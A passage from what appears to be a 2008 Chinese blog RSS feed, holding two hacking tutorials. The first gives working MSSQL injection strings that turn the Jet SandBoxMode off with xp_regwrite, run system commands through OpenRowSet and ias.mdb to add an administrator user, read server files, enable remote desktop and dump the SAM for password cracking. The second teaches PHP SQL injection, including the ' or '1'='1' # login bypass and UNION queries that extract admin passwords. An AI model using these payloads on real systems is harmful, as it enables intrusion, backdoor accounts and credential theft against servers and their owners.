		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">    exec master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">    然后执行CMD命令,如果还是不行的话,唉~~那没办法了,呵呵,一会讲到,呵呵~~~继续往下看吧~</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">     来,我们来提一下传说中的沙盒模式提权,</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">不是分割线</font>
		</p>
		<p>
				<font size="3" face="Verdana">--------------------------------------------------------------------------------------------------------------------------------</font>
		</p>
		<p>
				<font size="3" face="Verdana">    
首先我在&lt;Jet引擎可以调用VBA的shell()函数&gt;(http://support.microsoft.com/kb
/q239104/)这份资料知道在accessl里可以直接进行sql查询,具体的在Access中测试.测试的SQL语句如下:</font>
		</p>
		<p>
				<font size="3" face="Verdana">SELECT shell('c:\windows\system32\cmd.exe /c net user ray 123 /ad');</font>
		</p>
		<p>
				<font size="3"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">查看计算机管理的本地用户,马上发现多出一个ray用户,说明语句成功执行了.接下来写一个VBS脚本任意连接一个mdb来测试这个SQL语句</font>
		</p>
		<p>
				<font size="3" face="Verdana">Set Conn=Createobject("Adodb.Connection")</font>
		</p>
		<p>
				<font size="3" face="Verdana">Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"</font>
		</p>
		<p>
				<font size="3" face="Verdana">Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")<br />Msgbox Rs(0)</font>
		</p>
		<font size="3" face="Verdana">
		</font>
		<p>
				<font size="3" face="Verdana">
						<br />
						运行后会出现"表达式中的'Shell'函数未
定义"的错误,&lt;Jet引擎可以调用VBA的
shell()函数&gt;提到WINDOWS在Jet引擎中设置了一个名为SandBoxMode的开关,它的注册表位置在
HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,0为在任何所
有者中中都禁止起用安全设置,1为仅在允许的范围之内,2则是必须是Access的模式下,3则是完全开启安全设置.默认情况下为2,只能在Access
的模式下调用VBA的shell()函数,我们尝试将此注册表值改为0,结果成功的运行了VBS利用Jet引擎可以调用VBA的shell()函数执行了
系统命令.
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						通常一台MSSQL服务器同时支持Access数据库,所以只要有一个sa或者dbowner的连接,就满足了修改注册表的条件,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下 
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						<br />
						exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						<br />
						如果存在一个sa或者dbowner的连接的SQL注入点,就可以构造出如下注入语句 
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						<br />
						InjectionURL;EXEC
master.dbo.xp_regwrite
'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						<br />
						那我们将SandBoxMode开关的注册表值修改为0就成功
了.接着连接到一个Access数据库中,就可以执行系统命令,当然执行系统命令我们只需要一个Access数据库相关Select的注入点或者直接用
ASP文件Select调用这个VBA的
shell()函数,但是实际上MSSQL有一个的OpenRowSet函数,它的作用是打开一个特殊的数据库或者连接到另一个数据库之中.当我们有一个
SA权限连接的时候,就可以做到打开Jet引擎连接到一个Access数据库,同时我们搜索系统文件会发现windows系统目录下本身就存在两个
Access数据库,位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\
dnary.mdb,这样一来我们又可以利用OpenRowSet函数构造出如下注入语句: <br />InjectionURL';Select *
From
OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select
shell("net user ray 123 /ad")');--
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						<br />
						如果你觉得不大好懂的话，我可以给你做一个简化的理解：<br />1，Access可以调用VBS的函数，以System权限执行任意命令<br />2，Access执行这个命令是有条件的，需要一个开关被打开<br />3，这个开关在注册表里<br />4，SA是有权限写注册表的<br />5，用SA写注册表的权限打开那个开关<br />6，调用Access里的执行命令方法，以system权限执行任意命令 
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						       
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						------------------------------------------------------------------------------------------
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						不是分割线
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						      
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						      看完了吧~辛苦了~呵呵,呵呵,直接把原文贴出来了,我好懒啊我~原理就是上面说的那个
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						      CMD不是删除了么?嘿嘿~我们用刚刚讲的方法来执行,具体如下
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						      
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						首先执行
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode','REG_DWORD',1
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						<br />
						呵呵~把注册表改了~
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						不放心的话我们来读读看~
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode'
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						如果返回的值是1的话证明命令成功了
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						<br />
						那么我们就可以用SYSTEM函数来执行命令了 下面给出执行命令语句
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select
shell("cmd.exe /c query user &gt;c:\windows\11.txt")');
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						红色字体的是我执行的命令,&gt;c:\windows
\11.txt的意思是把回显命令导入到windows的文件夹下的1.txt,一会要用到的.黑色字体是我们数据库的路径,特别需要注意的是如果是
windows2000 那么灰色部分就应该是c:\winnt\system32\ias\ias.mdb  
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						如果是windows2003的话就是c:\windows\system32\ias\ias.mdb
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						后边也是一样情况 win2003是windows目录而2000是winnt目录
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						执行命令的时候是不是心里面很没底呢?而且有些命令比如NETSTAT之类的是需要查看回显的,那么怎么才能得到回显呢~~~嘿嘿~~无疑MSSQL肯定为我们提供了读取文件内容的功能操作
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						那么我们就来看看怎么操作的吧~~呵呵
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						操作如下<br />select * from openrowset('microsoft.jet.oledb.4.0','text;database=c:\windows\','select * from 11.txt')
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						灰色部分是文件所在目录,而红色是文件名
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						比如我想读D:\WWW\XXX\目录下的A.ASP文件,那么语句如下
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						select * from openrowset('microsoft.jet.oledb.4.0','text;database=D:\WWW\XXX\','select * from A.ASP')
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						还记得我刚刚把命令回显导出的步骤吗?我们就用上面这个操作来读取TXT内容就可以得到我们的CMD执行命令回显了,很好玩吧~呵呵   
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						这就是我饶过CMDSHELL来执行命令的一点心得,呵呵  我们接下来说说3389的问题
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						一些关于3389终端的信息:
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						      其实在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp下的PortNumber键值 和
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp下的PortNumber键值 
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						记录着3389的端口号 如果想改连接端口号的话直接用xp_regwrite修改对应的键值就OK了~呵呵
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						      那么接下来说说最关键的问题,在注册表下存在一个决定3389开启与否的键值,键值位置如下:
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server下的fDenyTSConnections
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						其值是0表示开启 1表示关闭,我们直接用XP_REGWRITE把值修改就好了~~
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						语句如下
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal
Server','fDenyTSConnections','REG_DWORD',0
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						你们不放心可以用XP_REGREAD确认
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						具体语句不写了,大家现学现卖吧,呵呵~~
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						好了,最后说过我没实践过的思路,理论上可行吧,呵呵
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						当你的沙盒模式也不能用的时候那么,嘿嘿   ^-^
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						我们起码还是能从目标机器上拿点什么东西的嘛,比如说SAM啊~呵呵
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						首先用OPENROWSET这个函数把SAM的内容暴出来
				</font>
		</p>
		<p>
				<font size="3" face="Verdana">
						然后复制内容,本地新建个SAM把复制的内容导进去,保存,相当与把目标机子的SAM给下下来,然后暴吧~~把管理员的密码暴出来,接着用XP_REGWRITE把3389端口开了就好了
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						其实开3389的时候还会遇到很多情况,由于我没实践,所以没什么好说的了,如果大家以后遇到什么这方面的问题可以拿来一起讨论,嘿嘿
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
		<p>
				<font size="3" face="Verdana">
						至于怎么破SAM,OPENROWSET的函数用法之类的就不说了~去百度一下吧~~
				</font>
		</p>
		<p>
				<font size="3" face="Verdana"> </font>
		</p>
<img src ="http://www.cppblog.com/ay19880703/aggbug/68766.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/ay19880703/" target="_blank">__ay</a> 2008-12-07 16:15 <a href="http://www.cppblog.com/ay19880703/archive/2008/12/07/68766.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>初级PHP注入笔记--by __ay</title><link>http://www.cppblog.com/ay19880703/archive/2008/12/07/68765.html</link><dc:creator>__ay</dc:creator><author>__ay</author><pubDate>Sun, 07 Dec 2008 08:12:00 GMT</pubDate><guid>http://www.cppblog.com/ay19880703/archive/2008/12/07/68765.html</guid><wfw:comment>http://www.cppblog.com/ay19880703/comments/68765.html</wfw:comment><comments>http://www.cppblog.com/ay19880703/archive/2008/12/07/68765.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/ay19880703/comments/commentRss/68765.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/ay19880703/services/trackbacks/68765.html</trackback:ping><description><![CDATA[
		<font size="3">
				<br />
首先介绍下SQL的select的语法  这个是注入中非常非常重要的语法，起码PHP注入中的50％左右都是通过这个动作完成的<br /><br />
先说说语法<br />
select ［字段名］ from ［表名］ where ［限制条件］<br /><br />
看不明白？呵呵  拿个例子说话就知道了。<br /><br />
假设我们1个数据库里面有个表，表名是user  表里面有2个字段，1个是psw 一个是username<br />
那么    select username from user  返回的结果是这个表里面的所有用户名<br />
select psw from user  返回的结果是这个表里面的所有密码，<br />
那么你想得到某个用户名的密码的话如下语句可以帮你实现<br />
select psw from user where username='你想要的用户名'<br /><br />
OK 讲解完毕，那么我们来讲讲一个典型的例子，万能密码不知道大家听说过没有，我们来看看他是怎么实现的<br /><br />
$query="select ＊ from user where username='$username' and psw='$psw' and id=1" ;<br /><br />
这个是一个PHP典型的用户验证语句<br />
我们输入的  用户名会被送入到username 这个变量中，而密码会被送入到psw这个变量中。<br />
那么我们假设现在手头没有用户名密码，但是我们又想进去，那怎么办呢？<br />
我们现来观察下这个语句，这个是一个sql语句，也即是说它会被送到数据库里面执行，那么我们只要通过某种方法使得在不用用户名和密码的情况下，使这个语句为真就可以了。历史证明这么想是可行的，看不明白？看例子。<br />
比如我们输入的用户名密码如下，<br /><br />
用户名  'or '1'='1' #<br />
密码  随便填<br /><br />
注：#是sql语句里面的注释符<br /><br />
那么我们的sql语句会变成这样：<br /><br />
$query="select ＊ from user where username='<font color="Red">'or '1'='1' #</font><font color="DarkOrchid">‘ and psw='随便写' and id=1"</font> ;<br /><br /><br />
看到没有？红色标注的是我们输入的用户名 紫色标注的是被注释掉的东西<br />
我们来分析下这个句子，’1‘＝’1‘这是永远成立的  那么不管前面的username对不对这个逻辑判断永远都是真的，而后面验证密码的那些东西都被
注释掉了，也就是说这样自我们的SQL语句是有返回的数据的，而且一般管理员的信息都是在user表中的第一个，也就是说这个时候$query这个变量中
就储存了管理员的用户信息，下面的程序一看到是管理员的信息，那么就会自动跳转到管理员的用户界面过去了。<br /><br />
也就是说，我们达到了不用管理员帐户密码登入了管理员的后台界面～！呵呵是不是很神奇呢？<br /><br />
那么再来一个例子<br /><br />
如果PHP中有个语句是这样的<br /><br />
$query="select tittle,content from user where id=".$id ;<br /><br /><br />
假设我们可以改$id这个变量  而且我们知道表user里面存放着管理员密码，那么这个时候我们也可以把管理员帐号和密码弄到手<br /><br />
不信？<br /><br />
我们现来看看union这个语法  这个是  连接2个select用的语法，这样的话可以返回2个select的信息<br /><br />
比如<br /><br />
select * from user union select * from topic<br />
（不知道对不对  懒得查了  大概就这样）<br />
那么这个语句的结果是返回2个表里面的所有字段信息<br /><br />
注：*是统配符  也就是说*表示所有  select * from user 就是说把user表里面的内容全部返回过来<br /><br />
那么我们输入的变量$id的信息可以是这样<br /><br />
2 and 1=2 union select <font color="Red">psw</font> from user where username='管理员帐号'<br /><br />
那么密码就可以暴出来了  但是红色标注的那个地方的psw那里必须注意，比如你前面的select是搜出3个字段的信息，那么你后面的select也必须得是3个字段的信息<br /><br />
比如<br />
select tittle,content from user where id=".$id ;这个语句，我们填充后的语句必须是<br /><br />
select tittle,content from user where id=2 and 1=2 union select 1，psw from user where username='管理员帐号'<br /><br />
这样，前面的select返回的是2个字段  我们后面的select必须返回2个字段，如果字段数不够就用1填充，就向上面的例子一样<br /><br />
之所以要1＝2是应为我们必须要让前面的信息不能显示，我们后面select语句的信息才能显示出来，如果要and后面是1＝1的话前面的select语句生效，就不会显示我们后面的select语句的内容了  呵呵<br /></font>
<img src ="http://www.cppblog.com/ay19880703/aggbug/68765.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/ay19880703/" target="_blank">__ay</a> 2008-12-07 16:12 <a href="http://www.cppblog.com/ay19880703/archive/2008/12/07/68765.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>